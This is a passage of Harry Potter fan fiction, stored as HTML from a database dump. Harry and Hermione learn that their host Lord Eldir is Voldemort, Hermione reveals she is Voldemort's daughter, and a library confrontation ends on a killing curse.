together, "Does this castle have running water and electricity?" \n</p><p>\nRon looked at her in horror. \n</p><p>\n"There is a reservoir near by from which we get our water, but there isn\'t any electricity. But surely, Miss, you can use magic to get warmth and light?" he asked, smug that Hermione hadn\'t thought of that. \n</p><p>\nHermione bit her lip angrily and Harry asked, "Are we allowed to do magic?" \n</p><p>\n"Yes, I asked Dumbledore and he got us permission from Miss Goldfinger." \n</p><p>\n"Good old Marisa Goldfinger!" cried Ron. "Fudge would never have let us. I say, you know Percy? How he was about Mr. Crouch?" \n</p><p>\nThey nodded and groaned. "Don\'t remind me," Harry said rolling his eyes. \n</p><p>\n"Well, he met her at a dinner party last summer and he\'s been raving about her ever since. It\'s \'Marisa this, Marisa that, Marisa says\' etcetera. Fred and George tease him about being in love with her, but I dunno if he really is." Ron trailed off. \n</p><p>\nAfter their meal they found a black carriage in the yard with two bay horses at the front of it and the red dragon crest on the sides. It all looked as if it had walked straight out of a period drama. The driver of the Rolls Royce climbed onto the box and Harry, Ron and Hermione climbed inside. It smelt slightly of mouldy hay. Their trunks were on the roof and the animals waiting inside. The driver lashed out with his whip and the carriage jerked into motion causing Harry and Ron to fall backwards and Hermione, who had the bad luck to be facing backwards, to fall forwards, almost into Harry\'s lap. \n</p><p>\nThe carriage jolted out of the coach yard and onto the road, earning many surprised glances from the drivers of speeding cars as they shot past the slow moving horse drawn vehicle. It didn\'t stay like this for long though. Soon they turned off the main road and onto a small track that twisted steeply up hill. Hermione felt herself once more thrown into Harry\'s lap. \n</p><p>\nThe world was truly deserted now. There were no roads now, or farmhouses. It was too bleak. Only heather and pine trees and the occasional sheep were visible. Every now and then they passed a ravine filled with a rushing mountain stream, or a stony path disappearing steeply off into the menacing, dark woods. \n</p><p>\n"It\'s <i>The Little White Horse</i> country," commented Hermione, gazing out of the window.\n</p><p>\nThey continued in this way for about half an hour until they turned off the track again onto an even narrower, stony lane leading upwards through the pines. It became dark. Hermione had a continuous frown on her face and even Ron was looking slightly worried. \n</p><p>\nSuddenly they broke through the trees and saw, positioned actually in a mountain it seemed, a large stone castle. It was made out of yellowish stone and Hermione was heard to mutter, "Victorian gothic." \n</p><p>\nThe walls were littered with grotesque gargoyles and there was even one above the portico as they passed into the walled courtyard. The carriage stopped and Harry, Hermione and Ron climbed out. It was cold and the wind whistled, trapped, round the yard. Crookshanks huddled close to Hermione, the wind blowing his fur the wrong way. The horses snorted and stamped as the driver took down their trunks from the roof of the coach. Then he moved towards the great stone door of the castle and pulled a bell pull twice. He remounted the carriage and drove it away round to the corner, presumably to put the horses away. \n</p><p>\nHarry, Ron and Hermione waited shivering in the shelter of the door for some minutes. Then there was the sound of bolts being with drawn back and the door creaked open. Standing in the doorway was a girl of about Harry\'s age. She had a thin, ferrety pale face and cold grey eyes, as stony as the castle. She had silvery, blond hair in ringlets. She was wearing an old fashioned, long black dress with a tight waist. Her grey eyes stared at them expressionlessly for about thirty seconds, then she said without emotion, "Welcome to Castle Squear, Harry Potter." \n</p><p>\nThey entered the hall and the door clanged shut behind them. The girl faced them and said, "I regret to inform you that Lord Eldir is on business in France. He was called away very urgently yesterday morning and was unable to stay. He was very sorry. I will be looking after you until he returns. I\'ll show you to your rooms now." \n</p><p>\nAnd abruptly she turned away without letting her guests answer and walked up the stairs to the upstairs of the castle. They went into a long, cold, stone flagged corridor. Double doors were at the end of it. "That\'s the library," said the girl. \n</p><p>\nShe approached a door. "Here is your room, Mr. Weasley. Mr. Potter, you are in the next one and Miss Granger, the far end one, near the library. I shall call you when dinner is ready." She turned to go but Ron stopped her. \n</p><p>\n"Who are you? What are you doing here? What the hell is going on?" \n</p><p>\n"My name is Irene, you have no need of anything else. I run this establishment." \n</p><p>\n"But you\'re only about sixteen!  What game are you playing?!" burst out Ron. \n</p><p>\n"My age is hardly important to you, Mr. Weasley," she said in final sort of way and left with quick decisive steps down the corridor. \n</p><p>\nThey all entered Harry\'s room, which was the largest, though still very cold. There were doors into Ron and Hermione\'s rooms. They sat down by a large hearth and Hermione lit a fire with her wand. A bit of warmth began to creep back into the room. \n</p><p>\n"What a detestable girl!" Ron opened the conversation. \n</p><p>\n"Maybe she\'ll improve when we know her better," replied Harry doubtfully. \n</p><p>\n"No she won\'t! I can\'t stand her!" \n</p><p>\nHermione said quickly, "Well, we\'re stuck with her until this Lord Eldir returns from France. It must have been very urgent business that meant that he had to leave the day before his guests should arrive. I\'m beginning to wonder if he actually exists." \n</p><p>\n"Rot, of course he exists. He\'s Dumbledore\'s friend." \n</p><p>\n"You put a lot of trust in Dumbledore," said Hermione. \n</p><p>\n"That reminds me," said Ron, "I promised mum I\'d owl her when we got here." \n</p><p>\nHe rummaged in his trunk until he found a spare piece of parchment and a quill. Then he wrote, \n</p><p><i>\nDear Mum, \n</i></p><p>\nWe have arrived safely. It is very cold. Harry and Hermione are all right. Lord Eldir is in France on business and we\'re stuck with his horrible servant, Irene Somebody. How is Percy? Have you heard from Charlie and Maria at all? \n</p><p>\nSee you, love Ron.\n</p><p> \n"Who\'s Maria?" asked Hermione. \n</p><p>\n"Charlie\'s Romanian wife. He married her in the summer. She\'s really nice." \n</p><p>\nHermione stared at him. She had not known this. Charlie was the first Weasley to be married. Bill merely had affairs and Percy was too deep in his work to get married (at least to anyone who was anything less than a workaholic like him). Fred and George weren\'t married either, though George seemed to still have a soft spot for his old girlfriend Katie Bell. \n</p><p>\n"Don\'t you think we should send an owl to Dumbledore as well?" asked Harry. \n</p><p>\n"Good point." Ron added a P.S. \n</p><p><i>\nP.S. Will you owl Dumbledore to tell him we\'ve arrived as well.</i>\n</p><p> \nThen he attached it to Pig\'s legs and threw him out of the window. They played exploding snap with Harry\'s cards until Irene was heard knocking at the door to tell them that supper was ready. \nThey followed her downstairs and into the old dining room. It was large and gloomy and reminded Hermione strangely of the old place she had explored uninvited in Greece in the summer holidays. \n</p><p>\nThey sat down at a long table and Irene served them good, home made food. There was onion soup for starters, poached salmon and boiled potatoes for the main course and apple pie and custard for pudding. Irene was obviously a very good cook. She stood and watched them eating, effectively blocking any conversation. Eventually Ron asked her, "What are we going to do here? In your letter you said that activities will be provided. What are they?" \n</p><p>\n"Tomorrow we will go walking and the day after that, riding." \n</p><p>\n"Horse-riding?" exclaimed Hermione, looking uncomfortable. \n</p><p>\n"Yes," replied Irene. \n</p><p>\n"What\'s wrong? Don\'t you like riding?" asked Harry. \n</p><p>\nHermione looked very embarrassed.  Eventually she confessed, "The only time I\'ve been riding was on a donkey on Blackpool beach when I was seven. I fell off." \n</p><p>\nRon grinned, "Poor Hermione! Anyway, you rode the hippogriff with Harry in your third year. That wasn\'t so bad, was it?" \n</p><p>\nHermione shuddered, "Yes it was. It was worse. If Harry hadn\'t been there to hold on to, I don\'t know what I would have done. I really don\'t like riding." \n</p><p>\n"I\'ve never been. I think it sounds great," Ron sighed wistfully. \n</p><p>\nHarry\'s experiences of horses were not very pleasant. He remembered Dudley had played horses with him. That being, Harry had been the horse, and Dudley had ridden him. He had done it very realistically too, including spurs. Harry had a lot of sympathy with the horses and not much with the riders. He had ridden a hippogriff in third year twice. That had been quite a sickening feeling, but it wasn\'t very bad. \n</p><p>\nAt this rate Ron was the only one looking for riding. \n</p><p></p><div class="center">*</div><p></p><p>\nThe next day Harry, Ron, Hermione and Irene went walking. The hills were steep and the weather was blustery and cold. By the time they had returned in the evening they were glad to let Irene prepare a hot meal for them all. \n</p><p>\nIrene as usual did not say much, and what she did say was brusque and to the point. Harry was tired and did not say much either. Ron however was excited and asked Irene many questions about what they were doing the next day, i.e. riding, which she was clearly bored with answering. Hermione was reading at table, but no one seemed to care. They went to bed, Hermione complaining that she had almost finished her last book. ("What?! You brought about ten and it\'s only the first day!" cried Ron in disbelief.) \n</p><p>\nWhen Hermione awoke in her four poster the next morning the first thing she realised was that she was supposedly going riding that day. After having dressed she knocked at Harry\'s door. He was sitting on his bed attempting to brush his hair. \n</p><p>\n"Are you looking forward to going riding?" she asked, coming to the point immediately. \n</p><p>\nHarry grimaced, either from the thought of trusting his life with a horse, or because his brush had caught in a snag in his messy hair, "Not a bit. You?" \n</p><p>\nHermione shook her head, "I really don\'t want to do it. However I really can\'t not go because a: that would make me look like a spoilsport and b: I couldn\'t stay behind on my own." \n</p><p>\n"I\'ll stay here with you," suggested Harry, brightening up. \n</p><p>\n"But Ron? Alone with Irene? He really is annoyed by her. Anyway, we can ask him what he thinks. Maybe he won\'t mind." \n</p><p>\nThey found Ron awake reading a book on horse care that he had found in the library. He seemed a little bothered that Harry and Hermione were intending to stay behind and leave him to Irene\'s mercy. \n</p><p>\nEventually Harry decided that he was going to give it a try after all, and begged Hermione to go as well. She gave in reluctantly in the end. \n</p><p>\nAfter breakfast Irene took them out into the courtyard. Four horses were tied up there: a dark palomino pony with a long mane, a fat black mare, a very large heavy dun and a skittery skewbald which was rolling its eyes. \n</p><p>\nShe pointed at the dun and said to Ron, "That\'s Fudge. You can get on him." She guided Ron onto Fudge\'s back while he sniggered at the name. However he put the wrong foot in the stirrup and therefore ended up facing the tail and had to get off again. If Harry hadn\'t been so apprehensive about the fact he was riding the slightly dodgy looking skewbald, he would have found it quite funny. \n</p><p>\nOnce Ron was secured on Fudge, Irene helped Harry onto his horse, Firefly and Hermione onto the black mare, Lottie. \n</p><p>\nHermione was sitting on her horse looking pale and extremely tense. She was staring straight ahead of her, and totally ignored Harry\'s "Good Luck!" \n</p><p>\nIrene mounted her pony side-saddle and told them to follow her. Ron immediately kicked his horse into a slow walk behind her. Firefly needed no kicking, but skittered off unbidden behind Fudge. Lottie and Hermione did not move. Harry tugged at his reins and Firefly halted reluctantly. \n</p><p>\n"What\'s up?" asked Harry anxiously. \n</p><p>\n"I\'m not doing this," she whispered through clenched teeth. \n</p><p>\n"Umm..." Harry glanced round at where Ron and Irene were disappearing down a stony track between the pine trees, "It\'s not that bad, is it?" \n</p><p>\n"Yes, it is!" Hermione looked wildly round then slid rapidly off her horse. "I\'m staying here. Don\'t you follow me. I\'ll be fine. I\'ll read or something." \n</p><p>\nHarry would have protested, but Firefly took that opportunity to catch up with his friends. His last glimpse over his shoulder was Hermione gingerly tying Lottie to a metal ring in the wall. \n</p><p>\nShe walked up to the door and used the Alohomora spell to open it. She made her way up to her room through the silent castle, collected her book and went to sit by the fire in Harry\'s room, which was more comfortable. She sighed. Of course she couldn\'t do everything, but maybe she should have gone with them... Oh well. She started to read. Time passed and the pages left in Hermione\'s last book decreased. \nSuddenly there was a tapping at the window. Hermione, deep in her book did not register it until a few seconds after it had been repeated twice. Then she jumped up like she had been bitten and turned to face the window. Someone was sitting on a broomstick outside tapping on the pane. Someone in a black cloak. Hermione\'s finger\'s tightened on her wand. \n</p><p>\nEstella Green was outside the window.'),
	(62, 12, '<p><i>Disclaimer:  A long, long time ago in a publishing house far far away someone called JK Rowling (NOT me) wrote the HP series...</i></p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\nChapter 12- The Little Red Notebook\n</p><p>\nHermione’s brain seemed to have jammed.  Then seconds later it went into overload.  What was Estella doing here?  How did she know where they were?  Who did she want to see?  Were her intentions peaceful... or not?\n</p><p>\n“Alohomora!” cried Estella and the window flew open.  She climbed in and dragged her broomstick after her.  She smoothed her cloak then turned to face Hermione who couldn’t say a thing.  Crookshanks, standing by Hermione, arched his back.\n</p><p>\n“I’m not going to kill you.  You can lower your wand,” said Estella after surveying her companion for a minute.  \n</p><p>\n“How can I believe you?”\n</p><p>\n“Who am I?” asked Estella in return.\n</p><p>\n“There is only person who you could be.  Though I do not what you look like from my own eyes, Harry has described you to me many times.  You are Estella Green.”\n</p><p>\n“Harry Potter recognises me?”\n</p><p>\n“Yes.  He dreamed about you and Voldemort.”\n</p><p>\nEstella looked down and tapped her foot gently on the floor while Hermione watched her anxiously.  Eventually she said, “How much do you know?”\n</p><p>\n“As much there is to know,” Hermione replied, “and more.”\n</p><p>\nThey stood facing each other, in silence.  “Why are you here?  Are you here for a purpose?”  Hermione said curiously after a long pause.\n</p><p>\nEstella sat down in Harry’s armchair, “Where’s Harry Potter?  I know he’s here.  Don’t try to deny it.  I don’t want to kill him.  I need to see him, though.  However, you’ll do if necessary.”\n</p><p>\nHermione shifted uncomfortably in her chair which she had returned to, “Harry and Ron are out riding.  They should be back at lunch time.”\n</p><p>\n“Are they on their own?  Where is the owner of the castle?  Is he with them?”\n</p><p>\n“No.  Lord Eldir is in France on business.”\n</p><p>\nEstella looked at her almost pityingly, “You have the nerve to tell me that?  I’d have thought...”  \n</p><p>\nShe stopped.  This was because the door had just opened to reveal Harry standing with a dropped jaw staring at the two ladies.  \n</p><p>\nHermione looked blankly at him.  Harry seemed then to wake up as it were, “Estella Green in my room?  Hermione, what’s going on?  Why have you put your wand away?”\n</p><p>\nHe raised his wand and pointed it at Estella who merely gave hers to Hermione.  Estella looked at him with frank curiosity, “So you’re Harry Potter?  I know you from your famous scar of course.  I’ve wanted to meet you for years...  Since that prophecy actually, if you really want to know.”\n</p><p>\nHarry looked from Estella to Hermione and back again in confusion, “Are you going to kill me, because if you are, hurry up about it because I’m fed up of all this fooling around I put up with your dear Tom Riddle,” he said bitterly to Estella.\n</p><p>\nShe shook her head with a glimmer of a smile, “No, Harry.  I’m not on your side, true.  I’m not on Voldemort’s either.  I’m on my own side.  I’m not trying to make you join me, I just hope you’ll help me defeat Voldemort.”\n</p><p>\n“Help you defeat Voldemort?” asked Harry incredulously.\n</p><p>\n“Yes.  I want him gone too.  Still, we don’t have much time.  Now I’ve got you both I can start to explain-”\n</p><p>\nHermione interrupted, “Where’s Ron?”\n</p><p>\n“Still out there with Irene; he loves riding.  I fell off, but actually I was just looking for an excuse for returning to you.  I was worried...”\n</p><p>\n“Not Irene Malfoy, the squib?” asked Estella curiously.\n</p><p>\n“Irene <i>Malfoy</i>!?” cried Harry and Hermione in unison.\n</p><p>\n“Well, yes.  I know the Malfoys.  Irene is the daughter of Nefarius Malfoy, the brother of the notorious Lucius Malfoy.  She’s a squib.  Nefarius pampered her when she was little but practically turned her into a slave when she didn’t get excepted into Hogwarts, and hid her away.  I’m not surprised she’s here I must say.  It would be very convenient for him to have a real non magic person in his plot. ”\n</p><p>\nHarry and Hermione exchanged glances, “What does this mean?”\n</p><p>\n“Do you know anything about Lord Eldir?”\n</p><p>\nHermione frowned, “He’s a muggle friend of Dumbledore.  He lives here and came to his title about three years ago.”\n</p><p>\nEstella nodded with pursed lips, “Tell me, Harry.  What happened three years ago?”\n</p><p>\nHarry thought a minute.  Three years ago, his fourth year...  He felt a slightly sick feeling in the bottom of his stomach, “Voldemort returned to power.”\n</p><p>\n“Well done.  Let me tell you a little history.  It might interest you.  The previous owners of Castle Squear were Lord and Lady Doring.  Lord Doring was a permanent invalid and his wife had died earlier.  They had no children.  They were very cut off here.  Most of the world had forgotten about them completely.  Just under three years ago Lord Doring died.  About a month afterwards a never heard of before cousin came to claim his inheritance.  A certain Lord Timothy Eldir.  No one could prove him wrong.  He took over the castle but hardly ever lived there.  He put himself into parliament and soon became the Prime Minister’s close friend.  He soon found out about us and met Professor Dumbledore.  They became friends- Eldir seemed to know just what would appeal to Dumbledore.  He even managed to persuade Dumbledore to trust him with Harry Potter.”\n</p><p>\nHarry said faintly, “Eldir is Voldemort?”\n</p><p>\n“Yes, of course.  You could have worked that out of course.  You know his obsession with word games, I suppose.  You know- Tom Marvolo Riddle equals ‘I am Lord Voldemort’.  Look at Eldir.  E-L-D-I-R.  Turn the word round and you get R-I-D-L-E.  Add another D and you get Riddle!”\n</p><p>\n“I’m a fool!” moaned Hermione from between her hands.  Harry was looking absolutely aghast, “What do we do now?” he asked.  He seemed to be looking to Estella for help.  He appeared to trust her now.\n</p><p>\n“I’ve warned you, which was my objective.  You don’t know how long it took me to find out what his plan was.  I just knew that you were \'in the palm of his hand\'.  I haven’t done so much work since I was at school!  I got most of the help from your dear ex Minister of Magic.  He was very helpful.  Now, however, you must follow your nose.  You have to fight him sometime, and this holiday would perhaps be a good opportunity.”  She smiled at them, “I know you’ll win.”\n</p><p>\n“Let’s get out of here!” cried Harry jumping up.\n</p><p>\n“Sit down, Harry.”  Hermione restrained him, “Miss Green is right.  We’ve got to fight him.  Remember the closet- The Unbreakable Link.  We’re the only ones now.  Besides, you’ve got me and I’ve got you.  We’ll see it through.”\n</p><p>\nHarry sat down again.  He was still a bit confused; why was Estella really here?  What did she care about him or Hermione?  And more importantly, why Hermione?  Yes, they had the Unbreakable Link, but Estella wouldn’t know that, would she?\n</p><p>\n“You have the Unbreakable Link?” asked Estella sounding surprised, “I didn’t know that.  That makes it even better, I suppose.  If you like, I’ll contact Professor Dumbledore and tell him what’s happened.  I couldn’t bare it if you died.  I have only one more thing to say to you now.  Good Luck.”  She looked at them in silence for a minute.  Then, “Good-bye.  I daresay I won’t see you for a long time.  Think of me sometimes.  Good-bye, Harry.  It was nice meeting you- take care of her.”  Harry and Estella turned to Hermione, “Good-bye...Hermione.”  She seemed to be fighting some unconquerable emotion, then she turned and bent to kiss Hermione.  Harry didn’t know what to make of it.  Then she turned abruptly away to the window and climbed out onto her broomstick.  Soon she was merely a spec in the distance.\n</p><p>\nHarry looked at Hermione, sitting perfectly still in an armchair.  Silent tears were trickling down her cheeks.  Harry sat down opposite her, he didn’t know how to comfort her.  She must be feeling awful, he thought; she did not want to fight.  He dragged her into it.  \n</p><p>\n“Forgive me, Harry.  I’m just...”  she looked away from him.\n</p><p>\n“I think I understand.  Don’t be ashamed to cry.”  He paused, “To be honest, I still cry about my parents sometimes.”\n</p><p>\nHermione stared up at him and seemed to cry harder, “Don’t talk to me about your parents.”\n</p><p>\nHarry felt suddenly angry, “Yes, it’s all very nice for you, you’ve got parents and a loving home.  You could at least not dismiss my own grieving like that.”\n</p><p>\nIt happened very fast, Hermione’s hand lashed across his face, as hard as it had done to Malfoy when he had insulted her about being a muggle born.  Her face was white and taut and she stood up, towering over him.  Her voice was almost a hiss, “Don’t you dare.  Don’t you even dare.  Try and see past your own self centred sorrow.  You never knew your parents.  How can you possibly impress on me that you are to be pitied?  Don’t do it again.  You might come up against me, and let me tell you, Harry Potter, you’ll find me an unpleasant antagonist.”  \n</p><p>\nShe turned away and stalked to the door of her room, still crying, when Harry, hand pressed against his stinging cheek called after her, “Don’t go, Hermione.  I don’t understand what I did.  You were mean about my parents, I think I was right to retort.  What you did was unjust, I think, considering.  I don’t think I said anything too unreasonable.  OK, I was angry and I apologise if I offended you, but, <i>why</i>?”\n</p><p>\nHermione’s already pale face drained itself of colour.  She clutched the doorknob for support.  Harry got up and moved closer towards her.  He was quite alarmed, was she ill?  She whispered, “I thought you knew...During the duel?  Didn’t you realise?  Oh no.  I didn’t think...”\n</p><p>\nHarry looked at her, frowning.  What was she talking about?  An idea that would fit, “What’s happened?  Your parents?  Has something happened to them?”\n</p><p>\n“No.  I can’t understand it though!"\n</p><p>\n“Understand what?”\n</p><p>\nThere was only about a foot between them now, “Harry...  Look at me.  Don’t you see?  Can’t you see?  <i>Don’t you know who I am</i>?”  \n</p><p>\nAnd Harry looked at her, and he saw with his eyes what he had missed for years.  Since he had become friends with Hermione he had seen her with his brain.  He had taken her for granted.  Now he saw what Ron had seen, what Viktor Krum had seen, what Estella had seen, what everyone else had seen...  \n</p><p>\nHe saw an ordinary looking, though not totally plain young woman in tears.  He saw that she was clever and brave.  She would never be Hermione the swot again.  That was over forever now.  And he saw what she herself had seen many months ago.  That he and Ron had missed.  As usual, like at the Yule Ball, many years ago, they had overlooked Hermione.  The obvious contestant- she was not striking to look at, she was clever, she was brave, she was muggle born, she knew him, she had the Unbreakable Link with him, she was going to have to fight Voldemort with him.  She was Voldemort’s daughter.\n</p><p>\nThey stared at each other, then Hermione said quietly, “So, do you understand now?”\n</p><p>\nHarry mutely nodded.\n</p><p>\n“Are you still my friend?  You won’t desert me?” She looked anxiously up at him.\n</p><p>\nHarry threw his arms around her neck as a way of reply.             \n</p><p></p><div class="center">*</div><p></p><p>\nThey stayed like that for some time, Hermione crying softly on Harry’s shoulder.  It was such a relief to tell someone the truth.  She’d found out who she was very soon after she had found out about Harry’s dream.  She had not told anyone because she had been afraid- not afraid of facing her father, but of everybody’s reaction when they found out.  Surely no good person would want to associate with Miss Voldemort.  If it had been anyone else she wasn’t sure if she would have wanted to herself.  Now she still had Harry at least- he still loved her.  She could even have faced Voldemort with a light heart.  \n</p><p>\nHarry sighed as he looked down at her head of brown hair.  He had never dreamed- of all the people to fulfil the prophecy- Hermione!  She was so obvious, they hadn’t noticed how natural it all now seemed.  Of course it would be Hermione.  It couldn’t have been anyone else.  With a jolt Harry realised that he wouldn’t have fought with anyone else.  For some reason he had grown possessive of Voldemort.  He would not have let anyone else defeat him.  But Hermione- that was different.  Hermione was different.  He would fight with her, and only her.  He had known her for so long- it made sense.  He didn’t care that he might die in the attempt- it was knowing what he had to do that was almost calming.  He would have a rest today- Voldemort wouldn’t attack them this afternoon.  The next day he would discuss it all with Ron and Hermione and make a plan of attack.  He wondered how Ron would take it.  \n</p><p>\nEstella was going to tell Dumbledore what was happening so that factor had been taken care of.  It didn’t occur to Harry, or to Hermione who had forgotten all about it, how likely it was, if Estella actually got to Hogwarts, that Dumbledore would believe her.  It could just seem like a plot to get Dumbledore out of Hogwarts.  It had happened before.\n</p><p></p><div class="center">*</div><p></p><p>\n“I really think we should get back to Harry and Hermione.  We’ve been out for three hours, and we haven’t even turned round.  We’re meant to be back at the castle in twenty minutes.”  Ron trotted his horse up to where Irene was riding in silence ahead of him.  He was getting angry.  He had been deserted by his two friends and now he seemed to be being kidnapped by a sixteen year old muggle.  He couldn’t restrain her by magic because she was a muggle and he would be in trouble with the Ministry.  \n</p><p>\nIrene turned round and said tonelessly, “We’ll just go a little further.  There’s plenty of time.”  She tapped her pony with her whip and cantered off, Ron following reluctantly.\n</p><p>\nIrene was approaching a fallen tree log which she would have to jump.  Unfortunately the trees were very low at that point and as she jumped, her hair got caught in a twig.\n</p><p>\n“Ow!” she cried, losing her balance.  She clutched the pony round its neck, and managed to keep her seat, however she was clearly very shaken.  \n</p><p>\nRon took the easy way round the log- he didn’t feel up to jumping just yet, “Are you OK?” he asked.  Much as he disliked her, he felt some concern.\n</p><p>\nHer grey eyes seemed to have gained some warmth and she suddenly looked terrified, “Go!” she cried, “while there’s time.  Now!  Go straight up the path and past the river...  Gallop...” She was starting to look more serene again, “Please go, Ron.”  \n</p><p>\nRon gaped at her.  She shouted now, “NO!  Go, like I said.  If you value your friends...  Imperius...” She was lost again.  Ron understood then.  Irene was under the Imperius curse and when she got the shock of almost falling off she had managed to shake it off for a minute.  Ron turned Fudge round and kicked him hard.  He started to move back up the path at a vigorous canter.\n</p><p></p><div class="center">*</div><p></p><p>\n“Where on earth is Ron?” asked Hermione, eating two day old sandwiches on Harry’s four-poster. “He said he’d be back by one, it’s half past now.”\n</p><p>\nHarry shrugged, “Maybe Irene kidnapped him.  We know she’s in with Voldemort now, and if she’s anything like her cousin, dear Draco, she’ll be really happy to serve him.”\n</p><p>\n“Oh I hope not.  Let’s just hope they got lost or something.  They’ll be back soon.”  Hermione rolled onto her front on the four-poster and opened a large volume.\n</p><p>\n“Drat.”  \n</p><p>\n“What is it?”\n</p><p>\n“I’ve finished it and I don’t have the second volume.”\n</p><p>\n“Why not look in the library here for it, it’s supposed to be very good,” Harry suggested.\n</p><p>\nHermione yawned, “Can’t be bothered.  I’ll get it later.  I’m tired, what with all that crying and so on.”\n</p><p>\nHarry swept all the sandwich wrappers off the bed onto the floor and sat in an armchair with Crookshanks on his knee while Hermione fell asleep.\n</p><p>\nThe minutes passed and Harry, who didn’t feel tired at all, became bored.  He stroked Crookshanks, tapped his fingers on the arm of his chair, whistled.  He did everything to not think about had happened between him, Hermione and Estella.  Eventually he had an idea- he would go to the library and try to find the second volume of Hermione’s book.  He stood and tiptoed over to where the first volume was lying on the floor.  He picked it up- it was a leather bound copy of <i>Hypocrites and Happiness</i> by Samuel Morrison.  Harry raised his eyebrows.  Still, if Hermione liked it...\n</p><p>\nHe crept over to the door and opened it gently, careful not to disturb his sleeping friend.  He shut it quietly behind him and then speeded up his walk towards the double doors at the end of the corridor which were those of the library.  He tried the lock; the door opened with a little creak.  For some reason Harry felt like he was breaking and entering.\n</p><p>\nThe library was dark and dusty.  Hardly any light penetrated through the small windows.  It was a high, vaulted room.  There were shelves of books filling it all up- far more than in the school library.  The silence hung heavy in the air.  Dust covered pictures of people in old fashioned clothes lined the walls.  Harry walked slowly towards one of the shelves and started quietly, like he was breaking a rule, to look along the shelves.  \n</p><p>\nHe felt a slight prickling on the back of his neck.  He turned quickly round, a copy of <i>Hard Times</i> in his hand.  No one was there.  Harry slotted the Dickens back on the shelf and fingered his wand anxiously.  ‘This is ridiculous, I’m beginning to imagine things.’  He pulled his wand out and muttered, "Lumos".  The books were all lit up.  Harry carried on looking, one ear still on silence.  \nThere was a creak somewhere, but Harry, ignored it.  He wasn’t going to be scared by every little-  His scar seemed to explode.  He spun round, dropping his wand because of the unexpected pain.\n</p><p>\n“Well met, Harry Potter,” said Lord Voldemort.\n</p><p></p><div class="center">*</div><p></p><p>\nHermione woke up with a jump.  For a second she wondered what it was, then she realised she had a splitting headache.  There was a burning pain from behind her forehead.  She shook her head, but it wouldn’t go away.  She looked around her for Harry, but he wasn’t there.  \n</p><p>\n“Harry?”  \n</p><p>\nSilence.  Hermione stood up and smoothed her crumpled robes.  The room was cold and <i>Harry wasn’t there</i>.  The pain in her head increased and Hermione realised what it was.  It was Harry’s scar hurting her through the Unbreakable Link.  And Harry’s scar only hurt when Voldemort was near...\n</p><p>\nLike walking in a dream Hermione picked up her wand and opened the door into her room.  She went over to her trunk.  At the bottom there was a little red muggle notebook.  Hermione, more calmly than she actually felt, opened it and looked over the spell for the last time.  Then she replaced it in the case.  She reached the door into the corridor when she had an idea.  ‘I’m not going to make it easy for him...’ she thought.\n</p><p>\nShe re-entered Harry’s room and looked into his trunk for his most valued possession: his invisibility cloak.  The silver material shone in her hands.  It reminded her of when she had last needed it- in Greece.  Now she needed it again.  She slipped it over head and opened the door.  \n</p><p>\nWhere could they have gone?  She looked up and down the corridor searching for where they could be.  A door was open a little at the end of the passage.  Hermione ran softly towards it and slipped through it without touching it.  The library!  Of course.\n</p><p>\nStanding between two bookshelves were Harry and Voldemort.  Hermione felt sick.  She had seen him in her mind many times but never had she actually seen him.  He was twirling Harry’s wand between his fingers.  He did not seem to be attacking at the moment.  He was merely talking to Harry.\n</p><p>\n“So, I had to actually do the disguising myself.  All my death eaters aren’t trust worthy enough.  I had to pretend that I was in France because if I didn’t you would know who I was because of your little scar.  Very tiresome, that.”\n</p><p>\n“I don’t understand,” complained Harry.  Hermione crept behind the bookshelf nearest Harry, “why you didn’t just kill me as soon as I arrived here?  Why wait two days?”\n</p><p>\n“I waited for my daughter.”  There was a tense silence.  Hermione felt her hands going clammy as she peered round the bookshelf.  \n</p><p>\n“Your daughter will never join you, Voldemort.”  Harry cried more strongly than he felt.  Hermione held her breath.  “Your daughter is on my side and she will never come over to you.  Besides, in the prophecy, it says that I will defeat the light together with Her- your daughter and I will never change sides.”\n</p><p>\n“What makes you think that?”  Voldemort twirled Harry’s wand lazily.\nHermione suddenly realised that she wasn’t actually doing anything listening to their conversation.  She’d come here to save Harry and kill Voldemort and that was what she was going to do.  She took a deep breath, and checking she was still covered by the invisibility cloak, she pointed her wand at Harry and began to recite the charm she had spent months learning off by heart.\n</p><p>\n“Your daughter is not even here!” cried Harry.\n</p><p>\n“You think not?  Well it just so happens that your clever Professor Dumbledore tells all his secret suspicions about my offspring to Lord Eldir.  I’ve therefore got quite a good idea who she is.  But perhaps you know who she is?”  His red eyes bored into Harry’s.  Harry couldn’t say anything.\n</p><p>\n“I thought you did.  And I think my suspicions are therefore correct.  One more ‘pointless’ death will not matter if I am wrong.  At this moment in time, my dear little Irene is leading your friend deeper and deeper into the woods.  By the time she brings him back you will be either dead or gone.”\n</p><p>\n“Gone where?”  \n</p><p>\n“To kill poor Professor Dumbledore along with your little friend and companion, my daughter.”\n</p><p>\nThe idea was almost laughable.  “I’d much rather be dead than help you kill Dumbledore.”\n</p><p>\nHermione lowered her wand.  She had just completed the spell on herself as well.  “If that’s what you want...” Voldemort raised his wand.\n</p><p>\nIn Hermione’s head she could hear Harry speaking, he’d managed to use his art.  <i>Hermione?  Where are you?  You promised you wouldn’t let me die- and I don’t have my wand!  I can’t do magic without it.</i>\n</p><p>\nHermione bit her lip and replied, <i>I won’t let you die.  Never mind your wand.  I’ll get it back for you, trust me.  I am now actually in the room.  Trust me.</i>\n</p><p>\nHarry almost jumped out of his skin.\n</p><p>\n“Yes, I’d be like if I was about to die.  You don’t have your wand and there’s no one to die for you now.  Say good bye to life.  I would torture you first but I’m in a hurry.  I want to find my daughter after I’ve got rid of you.  You’re quite right, I don’t think you’ll join me.  Therefore, you can go to your muggle mother and your silly muggle friend who’ll be joining you shortly.”\n</p><p>\nVoldemort raised his wand again and Hermione held her breath.  Time seemed to stand still.  Not for the first time she worried.  What if it didn’t work?  What if...?\n</p><p>\n“Avada Kedavra!”\n</p><p></p><div class="center">*</div><p></p><p>\nRon pushed open the door of the castle and, not bothering to shut it behind him, ran up the stairs.  It had taken him over an hour and a half to return, even at Fudge\'s greatest pace.  Irene had gone on ahead, probably under the influence of the Imperius curse.  He had ridden on at a fast canter (Fudge didn’t seem to gallop) and when he had arrived he had left the horse in the yard to stay or escape as he wanted.  If Harry and Hermione were in danger in some way he, Ron would have to do something.  He did not know what yet.\n</p><p>\nHe pushed open his door and ran into Harry’s room to look for him.  The room seemed deserted, but when Ron looked towards the window he got the shock of his life.  Someone was standing by the window, looking out of it, her back turned away from him.  It was a female in a dusty pink summer dress that was very well worn.  